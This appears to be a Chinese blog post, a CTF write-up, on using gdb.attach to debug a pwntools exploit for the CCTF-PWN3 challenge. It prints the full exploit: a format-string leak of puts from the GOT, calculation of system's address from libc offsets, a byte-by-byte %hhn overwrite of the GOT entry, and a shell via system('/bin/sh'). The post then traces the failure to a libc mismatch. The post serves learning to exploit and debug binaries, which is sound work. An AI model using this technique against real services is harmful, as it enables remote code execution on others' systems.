gdb.attach跟exp

好久不跟,每次图片都要生成链接,emmm………说到底还是懒。还是该坚持。

前言

学pwn之路上的一个必经之路就是debug,前几天看到一个格式化的题目,在安全课上有相关文章(戳我),对就是那个CCTF-PWN3,exp逻辑很简单,跟着bin看一下exp就能明白,但是始终EOF,无法成功getshell,还记得学长跟我们说过的:做pwn题关键就在于跟exp,了解是哪里利用不对。OK,那就学学如何attach。

正文

先贴上自己做这题的exp,具体的利用逻辑可以到上面的那个文章里进行查看:

#!/usr/bin/env python
from pwn import *

context.log_level = 'debug'

elf = ELF('pwn3')
libc = ELF('libc.so.6')

pr = process('./pwn3') 
#gdb.attach(pr, 'b *0x804889B')

username = "rxraclhm"

pr.recvuntil("Name (ftp.hacker.server:Rainism):")
pr.sendline(username)

# 1 -> get
# 2 -> put
# 3 -> dir
# other -> exit

def put(pr, name, content):
    pr.recvuntil("ftp>")
    pr.sendline('put') 
    pr.recvuntil("upload:")
    pr.sendline(name)
    pr.recvuntil("content:")
    pr.sendline(content)

def get(pr, name, num):
    pr.recvuntil("ftp>")
    pr.sendline('get')
    pr.recvuntil('get:')
    pr.sendline(name)
    return pr.recvn(num)

def dir(pr):
    pr.recvuntil("ftp>")
    pr.sendline('dir')

plt_puts = elf.symbols['puts']
print 'plt_puts= ' + hex(plt_puts)
got_puts = elf.got['puts']
print 'got_puts= ' + hex(got_puts)

# /bin/sh
pause()
put(pr, '/sh', '%8$s' + p32(got_puts))

text = get(pr, '/sh', 4)
puts_addr = u32(text)
print 'puts_addr= ' + hex(puts_addr)
system_addr = puts_addr - (libc.symbols['puts'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)

def foo(name, address, num):
    num = num & 0xff
    if num == 0 : num == 0x100
    payload = '%' + str(num) + 'c%10$hhn'
    payload = payload.ljust(12, 'A') 
    put(pr, name, payload + p32(address))
    get(pr, name, 0)

foo('n', got_puts, system_addr)
foo('i', got_puts+1, (system_addr>>8)+6)
foo('b', got_puts+2, system_addr>>16)
foo('/', got_puts+3, system_addr>>24)

#put(pr, '/sh', '%8$s' + p32(got_puts))

text = get(pr, '/sh', 4)
puts_addr = u32(text)
print 'puts_addr= ' + hex(puts_addr)
# system("/bin/sh")
dir(pr)
pr.interactive()

我们直接本地执行是无法getshell的

那么到底什么地方出了问题呢,有了利用逻辑,可以根据自己的逻辑一个一个的排查:

  1. 泄漏的system地址错误?

这个题目第一步就是利用格式化字符串泄漏puts的真实地址然后根据libc的偏移计算出system的地址。那么会不会是libc出了错误呢?

attach是时候表示一下了,这里其实可以直接在exp里调用attach,这里为了看的清楚,手动attach。在泄露位置下断点,然后在gdb中attach相关pid启动调试

然后在gdb中需要在一个地方下断点使得程序进入相关位置进行观察,然后c到相关位置(这里需要在左边的DEBUG终端内触发一下才可以继续。)
然后在gdb中把puts地址打印出来,和泄漏的进行对比。嗯,这个可能排除。

  1. 覆写出了问题?
    泄漏出来地址之后就是构思如何执行system(/bin/sh)
    看到dir函数里有一个puts函数,我们进行利用格式化字符把puts的地址进行覆写,在执行puts(/bin/sh),就变成了system(/bin/sh)

这里会不会是覆写出了问题呢?可以看一看。直接在puts的调用地方下断点。

直接c到相关位置:

可以看出来,参数/bin/sh已经成功写入,那么与puts绑定的got有没有成功改写呢?继续跟。s进入puts

下图可以看出我们覆写的是没有问题的。额。。的确puts的got被我们改成了我们计算出来的system的地址了。

  1. libc不匹配
    那就奇怪了,为什么没有成功getshell呢?下图给你答案,libc不匹配,通过提供的libc的offset计算的system地址是不正确的。

这里我们看到c3和c9相差了6,那么我们将覆写system地址对应位置加上6即可覆写成功,即(foo(‘i’, got_puts+1, (system_addr>>8)+6))或者是去找到对应的libc直接跑exp即可getshell。

总结

我曾请教过一个大佬,如何学习pwn,他给我的意见就是到XCTF社区把那些热门题目跟exp多熟悉即可。的确,用好资源,重在积累。

Contents
  1. 1. 前言
  2. 2. 正文
  3. 3. 总结
|